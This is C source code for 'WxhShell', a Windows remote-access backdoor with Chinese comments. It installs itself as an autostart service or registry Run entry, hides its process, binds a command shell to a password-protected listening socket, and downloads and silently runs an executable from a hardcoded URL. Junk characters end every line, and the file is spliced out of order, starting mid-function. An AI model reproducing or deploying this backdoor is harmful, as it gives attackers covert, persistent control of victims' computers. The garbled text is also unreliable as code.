    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *glZb;_  
    else { ` R6`"hx$  
    closesocket(wsh); T pkSY`T  
    ExitThread(0); Ma[EgG  
    } $1an#~  
    break; B[t^u\Fk  
    } nVb@sI{{k  
  // 获取shell ,BU;i%G&s  
  case 's': { &_ekA44E  
    CmdShell(wsh); i q(PC3e`V  
    closesocket(wsh); OU[<\d  
    ExitThread(0); G'ykcB._  
    break; ,kN;d}bg  
  } :]^e-p!z  
  // 退出 k9^Hmhjw  
  case 'x': { d8j1L/e  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); "s*-dZO  
    CloseIt(wsh); >ZgzE  
    break; 1o_kY"D<  
    } }]?Si6_ZZ  
  // 离开 mPV<a&U  
  case 'q': { ~GaGDS\V  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); [VCC+_  
    closesocket(wsh); `@]s[1?f  
    WSACleanup(); b'H'QY   
    exit(1); nV;'UpQw  
    break; IV QH p  
        } yBIlwN`kB  
  } gV_/t+jI  
  } ]T4/dk&|o^  
OZ,kz2SF#  
  // 提示信息 (B7G'h.?  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); s[1ao"sZ^  
} 1^p/#jt  
  } 1gEH~Jmj  
S:\i M:  
  return; CT|+?  
} FqKJids-  
TOYK'|lwM  
// shell模块句柄 `+J Fvn!  
int CmdShell(SOCKET sock) (JhX:1  
{ #Ondhy%h[  
STARTUPINFO si; R`?l .0  
ZeroMemory(&si,sizeof(si)); B~Q-V&@o  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 7p&jSOY  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; T) C@6/  
PROCESS_INFORMATION ProcessInfo; )M*w\'M  
char cmdline[]="cmd"; )^h6'h`  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); <_tmkLeZf  
  return 0; |Lq8cA)|y  
} #m+!<  
e5 =d Ev  
// 自身启动模式 uGKjZi  
int StartFromService(void) yoi4w 7:  
{ \ /-c)  
typedef struct  s>rR\`  
{ FB=oGgwwq  
  DWORD ExitStatus; HDyf]2N*N  
  DWORD PebBaseAddress; y>{: [L9*  
  DWORD AffinityMask; 'Pz%c}hJ  
  DWORD BasePriority; kH!Z|P s?R  
  ULONG UniqueProcessId; p:,Y6[gMo  
  ULONG InheritedFromUniqueProcessId; vG&>- Z  
}   PROCESS_BASIC_INFORMATION; ,N/@=As9$  
E'5*w6  
PROCNTQSIP NtQueryInformationProcess; ~PQ.l\C  
BT{;^Hp  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; VFT@Ic#]  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; }ze+ tf  
!`ol&QQ#  
  HANDLE             hProcess; ]{-.?W*$  
  PROCESS_BASIC_INFORMATION pbi; a"~o'W7  
95;{ms[  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Jx*cq;`Vee  
  if(NULL == hInst ) return 0; UuG%5 ZC  
H$6RDMU  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 0V%c%]PH  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); s"(RdJ-,  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); hW7u#PY  
<H[w0Z$  
  if (!NtQueryInformationProcess) return 0; o7y<Zd`Bj  
H7O~So*N5  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); u ExLj6  
  if(!hProcess) return 0; p l)":}/)  
Iil2R}1  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; t Zxx#v`  
I#l}5e5  
  CloseHandle(hProcess); .X g.,kW  
!_glZ*tL  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); cJKnB!iL5  
if(hProcess==NULL) return 0; wG3L+[,  
o<g?*"TRh  
HMODULE hMod; l;F"m+B!$  
char procName[255]; b[%@3}E  
unsigned long cbNeeded; .[={Yx0!I  
+in)(a.  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "+DA)K  
FlO?E3d  
  CloseHandle(hProcess); o.s'0xP]  
$-_" SWG.  
if(strstr(procName,"services")) return 1; // 以服务启动 Za.}bR6?Y  
A#>wbHjWF  
  return 0; // 注册表启动 h'ik3mLH  
} hzD)yf  
IRW0.'Dn  
// 主模块 3 9 8)\3o  
int StartWxhshell(LPSTR lpCmdLine) Q0*E&;|  
{ tpI/I bq  
  SOCKET wsl; g|)>65v  
BOOL val=TRUE; _KRnx-  
  int port=0; ];.5 *a%*  
  struct sockaddr_in door; +|?a7qM  
:?f<tNU$  
  if(wscfg.ws_autoins) Install(); ,>|tQ'  
!D22HSv(w  
port=atoi(lpCmdLine); 1N/4W6  
NF$6yv9C  
if(port<=0) port=wscfg.ws_port; OPvPP>0*8  
#y\O+\4e  
  WSADATA data; NT6jwK.?)?  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; [[T7s(3  
jMT[+f  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   lyL6w1  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); GtRpgM  
  door.sin_family = AF_INET; DLwlA !z  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); fb f&bJT  
  door.sin_port = htons(port); GTs,?t16/  
Y58H.P  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { }#zL)+XI  
closesocket(wsl); s$y_(oU,D  
return 1; <h(AJX7wsD  
} % :G78.  
p5In9s  
  if(listen(wsl,2) == INVALID_SOCKET) { c((3B  
closesocket(wsl); -O} )Y>=}  
return 1; hC-uz _/3  
} 8;M,l2pmR{  
  Wxhshell(wsl); Zl_sbIY  
  WSACleanup(); #jbC@A9Pe  
^|/<e?~I  
return 0; Z%#e* O0  
c[J 2;"SP  
} f y|JE9Io_  
2<7pe@c98  
// 以NT服务方式启动 /}u:N:HA%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) $y;w@^  
{  H_g]q  
DWORD   status = 0; eg~ Dm>Es  
  DWORD   specificError = 0xfffffff; 5REH`-  
`&I6=,YLp  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 1uo |a  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; =Vh]{ y~$  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; )t~ad]oM  
  serviceStatus.dwWin32ExitCode     = 0; CCpRQKb=  
  serviceStatus.dwServiceSpecificExitCode = 0; xpZ@DK;  
  serviceStatus.dwCheckPoint       = 0; }[%F  
  serviceStatus.dwWaitHint       = 0; !,- 'wT<v  
9f['TG,"  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 6l|L/Z_6  
  if (hServiceStatusHandle==0) return; l[ko)%7V  
M"mvPr9  
status = GetLastError(); VK4UhN2  
  if (status!=NO_ERROR) VI3fvGHat{  
{ '>[ZfT  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; HF*~bL  
    serviceStatus.dwCheckPoint       = 0; }P=FMme{F(  
    serviceStatus.dwWaitHint       = 0; pg!mOyn  
    serviceStatus.dwWin32ExitCode     = status; W)`>'X`  
    serviceStatus.dwServiceSpecificExitCode = specificError; OL=X&Vaf<  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); '>OEQU5-  
    return; [/ CB1//Y  
  } 4P C'7V=S  
gISA13  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; z@~Z Mk  
  serviceStatus.dwCheckPoint       = 0; Uq=Rz8hLM  
  serviceStatus.dwWaitHint       = 0; w8>lWgN  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); FpttH?^  
} qPN  
.K940& Ui  
// 处理NT服务事件,比如:启动、停止 =M{&g  
VOID WINAPI NTServiceHandler(DWORD fdwControl) .&=\ *cZc  
{ WbFCj0  
switch(fdwControl) b6g9!  
{ WnQ'I=E#~  
case SERVICE_CONTROL_STOP: Q2|6WE  
  serviceStatus.dwWin32ExitCode = 0; j%vxCs>  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 'o_ RC{k2"  
  serviceStatus.dwCheckPoint   = 0; I%?M9y.u6  
  serviceStatus.dwWaitHint     = 0; a$"Z\F:x  
  { Nf~B 1vkp  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); PHsM)V+  
  } JjAO9j%  
  return; 4!glgEE*  
case SERVICE_CONTROL_PAUSE: <^Q` y  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; "| oW6@  
  break; aBF<it>  
case SERVICE_CONTROL_CONTINUE: X bV?=  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; fQU_A  
  break; < Lrd(b;  
case SERVICE_CONTROL_INTERROGATE: Erl@] P4  
  break; Mf:x9#  
}; gn 9CZ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  `Q^Vm3h  
} m<9W#  
4.&et()}  
// 标准应用程序主函数 87V XVI  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) lce~6}  
{ 3~0Xe  
YAF0I%PYU  
// 获取操作系统版本 [h :FJ  
OsIsNt=GetOsVer(); k.0pPl  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 6? (8KsaN  
!91<K{#A{  
  // 从命令行安装 )\0c2_w>  
  if(strpbrk(lpCmdLine,"iI")) Install(); h 9{'w  
qo;F]v*pkK  
  // 下载执行文件 =7("xz %  
if(wscfg.ws_downexe) { \-s'H:  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) UUql"$q  
  WinExec(wscfg.ws_filenam,SW_HIDE); Neb%D8/Kn  
} mCpoaGV_  
t #g6rh&  
if(!OsIsNt) { w3IU'(|G  
// 如果时win9x,隐藏进程并且设置为注册表启动 T1b9Zqc)f  
HideProc(); ph1veD<ZZ  
StartWxhshell(lpCmdLine); D&)gcO`\  
} WxLILh  
else ZGOI8M]@  
  if(StartFromService()) A&0sD}I\K  
  // 以服务方式启动 {=d\t<p*n  
  StartServiceCtrlDispatcher(DispatchTable); cYTX)]^u  
else 'W j Q  
  // 普通方式启动 .~ W^P>t  
  StartWxhshell(lpCmdLine); yyHr. C  
5k}UXRB?  
return 0; UIv 2wA2  
} @le23+q  
%lPF q-  
{Z|.-~W  
s.I=H^ T  
=========================================== f;%4O'  
C31SXQ  
S,v9\wN.  
NC2PW+(  
`ml;#n,*  
O@_)]z?jUc  
" sOW-GWSE<  
#H1yjJQ /x  
#include <stdio.h> c>3W1"  
#include <string.h> ]IkjZ=  
#include <windows.h> T ~t%3G  
#include <winsock2.h> ;xa]ke3]  
#include <winsvc.h> fr\UX}o  
#include <urlmon.h> !/$BXUrd  
z{^XU"yB  
#pragma comment (lib, "Ws2_32.lib") 4//Ww6W:  
#pragma comment (lib, "urlmon.lib") H1=R(+-s  
~GS`@IU}  
#define MAX_USER   100 // 最大客户端连接数 4Kt?; y ;  
#define BUF_SOCK   200 // sock buffer 82V xk  
#define KEY_BUFF   255 // 输入 buffer G0//P .#  
zYj8\iER  
#define REBOOT     0   // 重启 ^yu^Du  
#define SHUTDOWN   1   // 关机 &ze'V , :  
4- 6'  
#define DEF_PORT   5000 // 监听端口 Jo h&Ay  
e v?Hz8Q;(  
#define REG_LEN     16   // 注册表键长度 T cSj `-  
#define SVC_LEN     80   // NT服务名长度 'L0 2lM  
"Rs^0iT7>  
// 从dll定义API 9^s sT>&/  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); FAU^(]-5m  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); K22W=B)Ln  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); hlkf|H  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); *+qXX CA  
C `knFGb  
// wxhshell配置信息 FQ(=Fnqn  
struct WSCFG { XX}RbE#4  
  int ws_port;         // 监听端口 \&AmX8" [  
  char ws_passstr[REG_LEN]; // 口令 tp*AA@~  
  int ws_autoins;       // 安装标记, 1=yes 0=no m2<sVTN`^  
  char ws_regname[REG_LEN]; // 注册表键名 %wvSD&oz  
  char ws_svcname[REG_LEN]; // 服务名 {v]A`u)  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ycCEXu2F  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 |n~,$  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Dw6Q2Gnv  
int ws_downexe;       // 下载执行标记, 1=yes 0=no se$GE:hC1Q  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" pU`Q[HOs  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 eyl+D sK  
-jFt4Q7}8  
}; WZ"x\K-;  
"o}3i!2Qr  
// default Wxhshell configuration MWsBZJRr  
struct WSCFG wscfg={DEF_PORT, )0RH"#, 2L  
    "xuhuanlingzhe", |7UR_(}KC  
    1, 0ltq~K  
    "Wxhshell", UG48g}  
    "Wxhshell", i~.L{K  
            "WxhShell Service", }r*t V)  
    "Wrsky Windows CmdShell Service", qV^,muyoG  
    "Please Input Your Password: ", SukRJvi  
  1, eH=lX9  
  "http://www.wrsky.com/wxhshell.exe", ;l5F il,3  
  "Wxhshell.exe" &kRkOjuk  
    }; JyYg)f  
)iluu1,o  
// 消息定义模块 &d9tR\}  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; , S}[48$  
char *msg_ws_prompt="\n\r? for help\n\r#>"; !2tZ@ p|  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Y*B}^!k6  
char *msg_ws_ext="\n\rExit."; qnv9?Xh  
char *msg_ws_end="\n\rQuit."; >Ex\j?  
char *msg_ws_boot="\n\rReboot..."; yo") G!BN  
char *msg_ws_poff="\n\rShutdown..."; KE&Y~y8O\  
char *msg_ws_down="\n\rSave to "; #: w/vk  
J/M1#sE  
char *msg_ws_err="\n\rErr!"; Mfuw y  
char *msg_ws_ok="\n\rOK!"; I(bH.{1n7  
W(1p0|WQ:  
char ExeFile[MAX_PATH]; DU4NPys]y  
int nUser = 0; 6#K1LY5}  
HANDLE handles[MAX_USER]; G?8LYg!-  
int OsIsNt; kf~ D m}bV  
g(>;Z@Y  
SERVICE_STATUS       serviceStatus; a(NN%'fDD  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; /^ hB6_'D  
$j)Er.!9|R  
// 函数声明 IFH%R>={  
int Install(void); 959&I0=g"  
int Uninstall(void); OTl\^!  
int DownloadFile(char *sURL, SOCKET wsh); x0?8AG%  
int Boot(int flag); e 9U\48  
void HideProc(void); \3hhM}6)DM  
int GetOsVer(void); H"tS33  
int Wxhshell(SOCKET wsl); 3YR6@*!f/  
void TalkWithClient(void *cs); ]tanvJG}'  
int CmdShell(SOCKET sock); ~2beVQ(U  
int StartFromService(void); E#URTt:&>  
int StartWxhshell(LPSTR lpCmdLine); u7UqN  
5^t68 WOl  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); z%Op_Ddp  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); P)XkqOGpT9  
t^)q[g  
// 数据结构和表定义 $M@SZknm  
SERVICE_TABLE_ENTRY DispatchTable[] = jX$TiG  
{ j/5>zS  
{wscfg.ws_svcname, NTServiceMain}, KM*sLC#  
{NULL, NULL} ^VR1whCrx  
}; U{q6_z|c  
i44UqEb  
// 自我安装 C eNpJ  
int Install(void) #r `hK)  
{ IvTtQq  
  char svExeFile[MAX_PATH]; Ua#*kTF  
  HKEY key;  L,!Z  
  strcpy(svExeFile,ExeFile); Is` S  
1 M7=*w,  
// 如果是win9x系统,修改注册表设为自启动 y, tA~  
if(!OsIsNt) { w;vp X>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .7ESPr  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8)&H=#E  
  RegCloseKey(key); )#l &F$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { c>{6NSS -  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4f ~CG r  
  RegCloseKey(key); ,-ZAI b*  
  return 0; 'm# -)R!  
    } N+rLbK*  
  } [ -bL>8  
} 12])``9  
else { yL^1s\<ddW  
+j_Vs+0  
// 如果是NT以上系统,安装为系统服务 pMM-LY7%{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); u`$,S& Er  
if (schSCManager!=0) d~tG#<^`  
{ j 9XY%4.  
  SC_HANDLE schService = CreateService d}3<nz,  
  ( W%hdS<b  
  schSCManager, t(VG#}  
  wscfg.ws_svcname, EMU~gwPR  
  wscfg.ws_svcdisp, 7qt<C LJ  
  SERVICE_ALL_ACCESS, #!u P >/  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , @g(N!n~  
  SERVICE_AUTO_START, VV)PSodb  
  SERVICE_ERROR_NORMAL, wxB?}   
  svExeFile, d*khda;Vj  
  NULL, EC&t+"=R  
  NULL, {H#1wu^]O$  
  NULL, .*:SZ3v  
  NULL, C_dsYuQ5R  
  NULL aj51%wKMb:  
  ); [bUM x  
  if (schService!=0) E^zgYkZO  
  { d?Gf T$1  
  CloseServiceHandle(schService); QbP W_)N  
  CloseServiceHandle(schSCManager); n9]^v-]K  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); s+(%N8B  
  strcat(svExeFile,wscfg.ws_svcname); 5)' _3r  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { F8Z<JcOI  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ~0w7E0DE[  
  RegCloseKey(key); gZuk(  
  return 0; A@bWlwfl  
    } p18-yt; 1  
  } #HWz.Wb  
  CloseServiceHandle(schSCManager); X5U_|XK6Y  
} D QP#h5O  
} y A?>v'K  
*_`T*$  
return 1; 3H%R`ha  
} 0){%4  
v]F q}I"  
// 自我卸载 0&=2+=[c  
int Uninstall(void) Wy@Z)z?  
{ z}.!q{Q  
  HKEY key; !H{)L@f  
D;Fvd:  
if(!OsIsNt) { :^0g}8$<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2FD[D `n]f  
  RegDeleteValue(key,wscfg.ws_regname); & d\`=e  
  RegCloseKey(key); z{d],M  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { bv;&oc:r  
  RegDeleteValue(key,wscfg.ws_regname); QtJe){(z+  
  RegCloseKey(key); auAST;"Z8  
  return 0; Ictc '#y  
  } 96]lI3 c  
} GsqR8n=  
} B, xrZs  
else { bv9\Jp0c  
l~Kn-S{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); n} GIf&  
if (schSCManager!=0) pWSYbN+d  
{  4D"IAI  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); vNL f)B  
  if (schService!=0) ~^lQ[x  
  { U(-9xp+  
  if(DeleteService(schService)!=0) { $ 1H?k  
  CloseServiceHandle(schService); [T"oqO4%]  
  CloseServiceHandle(schSCManager); Bh:AY@k  
  return 0; UYW%% 5p?  
  } D4s*J21)D  
  CloseServiceHandle(schService); \-GV8A2:k  
  } Il2DZ5- )  
  CloseServiceHandle(schSCManager); |O\(<n S  
} B5#a 4G.  
} *`ehI_v :  
kOVx]=  
return 1; -2v|d]3qG  
} ZgtW  
?@|1>epgd  
// 从指定url下载文件 )jR:\fe  
int DownloadFile(char *sURL, SOCKET wsh) fTY@{t  
{ I-kM~q_  
  HRESULT hr; ]WN{8   
char seps[]= "/"; [H0jDbN  
char *token; 6]T02;b>/,  
char *file; eQcy'GA06  
char myURL[MAX_PATH]; uWx/V+w  
char myFILE[MAX_PATH]; 5Ag]1k{  
?P<&8eY  
strcpy(myURL,sURL); .{7?Y;_(  
  token=strtok(myURL,seps); ?-#w [J'6  
  while(token!=NULL) i.cSD%*  
  { jA=uK6m  
    file=token; m%ET!+  
  token=strtok(NULL,seps); X-Xf6&Uz  
  } m oFK/5cJ  
+/\.%S/  
GetCurrentDirectory(MAX_PATH,myFILE); ~Ufcy{x#  
strcat(myFILE, "\\"); v&H&+:<  
strcat(myFILE, file); {zbH.V[  
  send(wsh,myFILE,strlen(myFILE),0); Fj1/B0acS  
send(wsh,"...",3,0); (`3 Bi]7  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 8C,?Ai<ro  
  if(hr==S_OK) ed{z^!w4  
return 0; Mk@_uPm  
else E'XF n'  
return 1; C9gF2ii|?  
Bq R;d  
} `E!t,*(*E  
HP]Xh~aP  
// 系统电源模块 (y~da~  
int Boot(int flag) ]YevO(  
{ qf)]!w U9  
  HANDLE hToken; Q=e?G300#L  
  TOKEN_PRIVILEGES tkp; \hi{r@k>}  
yc%AkhX*  
  if(OsIsNt) { ik&loM_  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); aEZl ICpU7  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Yo7ctwzdH;  
    tkp.PrivilegeCount = 1; 7t@jj%F  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; OE4 2{?)  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); i.F[.-.  
if(flag==REBOOT) { z W+wtYV4  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) =i:?4pIZ  
  return 0; IH>+P]+3"3  
} )x( *T  
else { } k5pfz  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) `awk@  
  return 0; c (\-7*En  
} HO' ELiZ_q  
  } 7F+f6(hB  
  else { rTmcP23]  
if(flag==REBOOT) { >Pv%E  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) <~:  g  
  return 0; :$P < e~z'  
} z#,?*v  
else { Yq1 ~"he8  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) [f O]oTh  
  return 0; #wC4$y<>  
} 'BUdySng  
} 7Kh+m@q.  
]t #,{%h  
return 1; !3HMGzt  
} F'SOl*v(s5  
jq}5(*k  
// win9x进程隐藏模块 B'~.>, fg  
void HideProc(void) "h:xdaIE/p  
{ t5 5k#`Z  
\UNw43EL  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); N:&^ql4  
  if ( hKernel != NULL ) A1YIPrav(  
  { [8)Zhw$  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); D, 3x:nK  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); RQe#X6'h  
    FreeLibrary(hKernel); j\Q_NevV  
  } `D?vmSQ  
C:P,q6  
return; YpNTq_S1,  
} e%UFY-2  
I^lb;3uR  
// 获取操作系统版本 F'`L~!F  
int GetOsVer(void) }dB01Jl '  
{ (?J&Ar0  
  OSVERSIONINFO winfo; _jnH!Mw  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); eb+[=nmP  
  GetVersionEx(&winfo); ,T1 t`  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Lww0LH >  
  return 1; V1"+4&R^T_  
  else ]1p&*xX:Bj  
  return 0; DmD*,[rD  
} .Olq_wuH  
3YRhqp"E  
// 客户端句柄模块 \mv7"TM  
int Wxhshell(SOCKET wsl) G]5'U"cj3  
{ C\EV $U,  
  SOCKET wsh; .!=g  
  struct sockaddr_in client; BH%eu 7`t  
  DWORD myID; V-I_SvWv\  
^#"!uCq]gM  
  while(nUser<MAX_USER) v( (fRX.`  
{ !&19%C4  
  int nSize=sizeof(client); ^WM)UZEBC  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); [n66ZY#U]  
  if(wsh==INVALID_SOCKET) return 1; ]M= 3Sn8}  
,hX03P-X  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); rEZa%)XJ  
if(handles[nUser]==0) j;<;?IW  
  closesocket(wsh); kS+*@o  
else ^$yr-p%-  
  nUser++; PsLuyGR.<  
  } VN;Sz,1Z  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); [\. ho9  
Q0nSOTQ  
  return 0; rX fQ_  
} HtS:'~DYo  
ks'25tv}F  
// 关闭 socket :9K5zD  
void CloseIt(SOCKET wsh) 875V{fvPBU  
{ ]y!|x_5c3  
closesocket(wsh); H VG'v>s@  
nUser--; Dth<hS,2J  
ExitThread(0); d<: VoQM6M  
} GQ)hZt0  
sx(yG9  
// 客户端请求句柄 _.wLQL~y  
void TalkWithClient(void *cs) voV=}.(p  
{ /1Rm^s)2z  
bxEb2D  
  SOCKET wsh=(SOCKET)cs; ZK_IK)g  
  char pwd[SVC_LEN]; _Z5l Nu  
  char cmd[KEY_BUFF]; ugucq},[  
char chr[1]; rN} {v}n  
int i,j; {"'W!WT b  
Qh)@-r3  
  while (nUser < MAX_USER) { ToDN^qE+  
=^=9z'u"=  
if(wscfg.ws_passstr) { WynHcxC  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Bn47O~  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $7M64K{  
  //ZeroMemory(pwd,KEY_BUFF); ]@M$.msg@  
      i=0; Yq<D(F#qx  
  while(i<SVC_LEN) { I+8m1 *  
mNm 8I8  
  // 设置超时 |~rDEv3  
  fd_set FdRead; kw|bEL9!u  
  struct timeval TimeOut; =F8uuYX%m  
  FD_ZERO(&FdRead); %^gT.DsX-  
  FD_SET(wsh,&FdRead); Xp._B4g  
  TimeOut.tv_sec=8; y|iZuHS}  
  TimeOut.tv_usec=0; #y}@FG  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); K'N\"Y?>  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); e +4p__TmZ  
$9Y2\'w<h6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); pShSK Rg  
  pwd=chr[0]; `=b*g24z[N  
  if(chr[0]==0xd || chr[0]==0xa) { mmr>"`5.  
  pwd=0; !W]># Pm  
  break; 1H-R-NNJ:  
  } "op1xto  
  i++; ^fXNeBj  
    } <w.V!"!  
hFj.d]S  
  // 如果是非法用户,关闭 socket +5? s Yp\  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); RAXqRP,iw  
} tNmH*"wR<  
{eqUEdC  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); WO^sm Ck  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  Rb\=\  
B2WPjhzD  
while(1) { d q"b_pr;  
BAdHGwomh  
  ZeroMemory(cmd,KEY_BUFF); .Eh~$wm  
L'"20=sf  
      // 自动支持客户端 telnet标准   -md2Z0^ Kc  
  j=0; 0ydAdgD  
  while(j<KEY_BUFF) { C<6u}czA  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >xJt&jW-  
  cmd[j]=chr[0]; T* -*U /  
  if(chr[0]==0xa || chr[0]==0xd) { 3`IDm5  
  cmd[j]=0; Q*(]&qr"E  
  break; roj/GZAy"  
  } Qaq{UW  
  j++; }_@cqx:n^  
    } VGWqy4m  
.y+>-[j?B  
  // 下载文件 A<y3Tc?Q  
  if(strstr(cmd,"http://")) { >^D"%Oj y  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); n_.2B$JD  
  if(DownloadFile(cmd,wsh)) DY~~pi~  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); *z` {$hc  
  else V1xpJ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =qCVy:RL4  
  } Q%o   
  else { kH-1l>":  
hKt AvTg  
    switch(cmd[0]) { Rk2ZdNc\  
  j=PQoEtU'<  
  // 帮助 f*2V  
  case '?': { ] bhzB  
